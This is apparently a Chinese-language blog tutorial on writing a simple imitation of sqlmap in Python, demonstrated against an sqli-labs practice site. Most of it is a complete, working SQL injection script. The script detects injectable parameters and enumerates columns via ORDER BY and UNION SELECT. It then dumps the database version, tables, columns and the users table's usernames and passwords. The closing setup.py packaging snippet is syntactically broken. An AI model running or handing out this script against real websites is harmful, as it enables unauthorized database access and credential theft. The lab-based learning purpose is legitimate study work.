网络安全初入茅庐 --- 简易 sqlmap 制作

前景提要

学习网络安全有一段时间了，用惯了其他人编写的工具，决心自己写一个入门级别比较简单的小工具自己使用练习。

运行演示

1. 进入一个 sqli-lab 的靶场当作测试网站。
   
2. 获取其 url 地址：https://96e2b87c-897e-3af7-bdc1-fdfea8bde004-1.anquanlong.com/Less-1/index.php?id=1
3. 运行程序
   

代码解析

1. 首先检测网站是否存在 sql 注入，通过闭合单双引号以及布尔判断检测

def can_inject(text_url):
    text_list = ["%27","%22"]
    for item in text_list:
        target_url1 = text_url + str(item) + "%20" + "and%201=1%20--+"
        target_url2 = text_url + str(item) + "%20" + "and%201=2%20--+"
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)
        soup1 = BeautifulSoup(result1,'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)
        soup2 = BeautifulSoup(result2,'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)
        if content1.find('Login') != -1 and content2 is None or content2.strip() is '':
            log('使用' + item + "发现数据库漏洞")
            return True,item
        else:log('使用' + item + "未发现数据库漏洞")
    return False,None

2. 如果检测出存在 sql 注入漏洞的话，通过 order by 检测字段列数

def text_order_by(url,symbol):
    flag = 0
    for i in range(1,100):
        log('正在查找字段' + str(i))
        text_url = url + symbol + "%20order%20by%20" + str(i) + "--+"
        result = send_request(text_url)
        soup = BeautifulSoup(result,'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('获取字段成功 -> ' + str(i) + "个字段")
            flag = i
            break
    return flag

3. 拿到每个字段后根据 union_select 联合查询检测可视化位置和字段位置

def text_union_select(url,symbol,flag):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" + symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == flag - 1:text_url += str(i) + "%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1,flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i,temp_list

4. 通过访问网页找到网页内容获取数据库名

def get_database(url,symbol):
    text_url = url + symbol + "aaaaaaaaa"
    result = send_request(text_url)
    if result.find('MySQL') != -1:return "MySQL"
    elif result.find('Oracle') != -1:return "Oracle"

5. 获取数据表名

def get_tables(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(table_name)" + ","
        elif i == flag - 1:text_url += str(i) + "%20from%20information_schema.tables%20where%20table_schema=database()%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

6. 获取字段名

def get_columns(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(column_name)" + ","
        elif i == flag - 1:
            text_url += str(i) + "%20from%20information_schema.columns%20where%20" \
                    "table_name=\'users\'%20and%20table_schema=database()%20--+"
        else:text_url += str(i) + ','
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

7. 获取字段内容

def get_data(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(id,0x3a,username,0x3a,password)" + ","
        elif i == flag - 1:text_url += str(i) + '%20from%20users%20--+'
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

8. 得到每个字段后，循环遍历出字段中的内容在输出位置显示

datas = get_data(url, symbol, flag, index, temp_list).split(',')
temp = columns.split(',')
print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
for data in datas:
    temp = data.split(':')
    print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))

完整代码

### imitate_sqlmap.py
import time,requests
from bs4 import BeautifulSoup

def log(content):
    this_time = time.strftime('%H:%M:%S',time.localtime(time.time()))
    print("["+str(this_time)+"]" + content)

def send_request(url):
    res = requests.get(url)
    result = str(res.text)
    return result

def can_inject(text_url):
    text_list = ["%27","%22"]
    for item in text_list:
        target_url1 = text_url + str(item) + "%20" + "and%201=1%20--+"
        target_url2 = text_url + str(item) + "%20" + "and%201=2%20--+"
        result1 = send_request(target_url1)
        result2 = send_request(target_url2)
        soup1 = BeautifulSoup(result1,'html.parser')
        fonts1 = soup1.find_all('font')
        content1 = str(fonts1[2].text)
        soup2 = BeautifulSoup(result2,'html.parser')
        fonts2 = soup2.find_all('font')
        content2 = str(fonts2[2].text)
        if content1.find('Login') != -1 and content2 is None or content2.strip() is '':
            log('使用' + item + "发现数据库漏洞")
            return True,item
        else:log('使用' + item + "未发现数据库漏洞")
    return False,None

def text_order_by(url,symbol):
    flag = 0
    for i in range(1,100):
        log('正在查找字段' + str(i))
        text_url = url + symbol + "%20order%20by%20" + str(i) + "--+"
        result = send_request(text_url)
        soup = BeautifulSoup(result,'html.parser')
        fonts = soup.find_all('font')
        content = str(fonts[2].text)
        if content.find('Login') == -1:
            log('获取字段成功 -> ' + str(i) + "个字段")
            flag = i
            break
    return flag

def get_prefix_url(url):
    splits = url.split('=')
    splits.remove(splits[-1])
    prefix_url = ''
    for item in splits:
        prefix_url += str(item)
    return prefix_url

def text_union_select(url,symbol,flag):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" + symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == flag - 1:text_url += str(i) + "%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    for i in range(1,flag):
        if content.find(str(i)) != -1:
            temp_list = content.split(str(i))
            return i,temp_list

def exec_function(url,symbol,flag,index,temp_list,function):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" + symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += function + ","
        elif i == flag - 1:text_url += str(i) + "%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]
    
def get_database(url,symbol):
    text_url = url + symbol + "aaaaaaaaa"
    result = send_request(text_url)
    if result.find('MySQL') != -1:return "MySQL"
    elif result.find('Oracle') != -1:return "Oracle"

def get_tables(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(table_name)" + ","
        elif i == flag - 1:text_url += str(i) + "%20from%20information_schema.tables%20where%20table_schema=database()%20--+"
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_columns(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(column_name)" + ","
        elif i == flag - 1:
            text_url += str(i) + "%20from%20information_schema.columns%20where%20" \
                    "table_name=\'users\'%20and%20table_schema=database()%20--+"
        else:text_url += str(i) + ','
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_data(url,symbol,flag,index,temp_list):
    prefix_url = get_prefix_url(url)
    text_url = prefix_url + "=0" +symbol + "%20union%20select%20"
    for i in range(1,flag):
        if i == index:text_url += "group_concat(id,0x3a,username,0x3a,password)" + ","
        elif i == flag - 1:text_url += str(i) + '%20from%20users%20--+'
        else:text_url += str(i) + ","
    result = send_request(text_url)
    soup = BeautifulSoup(result,'html.parser')
    fonts = soup.find_all('font')
    content = str(fonts[2].text)
    return content.split(temp_list[0])[1].split(temp_list[1])[0]

def sqlmap(url):
    log('欢迎来到SQL注入工具')
    log('正在进行SQL注入')
    result,symbol = can_inject(url)
    if not result:
        log('此网站不存在SQL漏洞，退出SQL注入')
        return False
    log('此网站存在SQL注入漏洞,请等待')
    flag = text_order_by(url,symbol)
    index,temp_list = text_union_select(url,symbol,flag)
    database = get_database(url,symbol)
    version = exec_function(url,symbol,flag,index,temp_list,'version()')
    this_database = exec_function(url,symbol,flag,index,temp_list,'database()')
    log('当前数据库 -> '+ database.strip() + version.strip())
    log('数据库名 -> ' + this_database.strip())
    tables = get_tables(url,symbol,flag,index,temp_list)
    log('数据表名 -> ' + tables.strip())
    columns = get_columns(url,symbol,flag,index,temp_list)
    log('数据列 -> ' + columns .strip())
    log('试图得到全部列...')
    datas = get_data(url, symbol, flag, index, temp_list).split(',')
    temp = columns.split(',')
    print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
    for data in datas:
        temp = data.split(':')
        print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))

PyPi打包为可执行文件

在 cfg 文件中添加 entry_points 参数即可。
entry_points参数为一个imitate_sqlmap通过setuptools注册的一个外部可以直接调用的接口。
在imitate_sqlmap的setup.py里注册entry_points如下：

setup(
    name='imitate_sqlmap',
    entry_points={
       'imitate_sqlmap.api.sqlmap':[
          'databases=imitate_sqlmap.api.sqlmap.databases:main',
           ],
 )

该 setup() 函数注册了一个 entry_point ，属于 imitate_sqlmap.api.sqlmap.group 。注意，如果多个其它不同的 imitate_sqlmap 利用 imitate_sqlmap.api.sqlmap 来注册 entry_point ，那么我用 imitate_sqlmap.api.sqlmap 来访问 entry_point 时，将会获取所有已注册过的 entry_point。

最后还是希望你们能给我点一波小小的关注。

奉上自己诚挚的爱心

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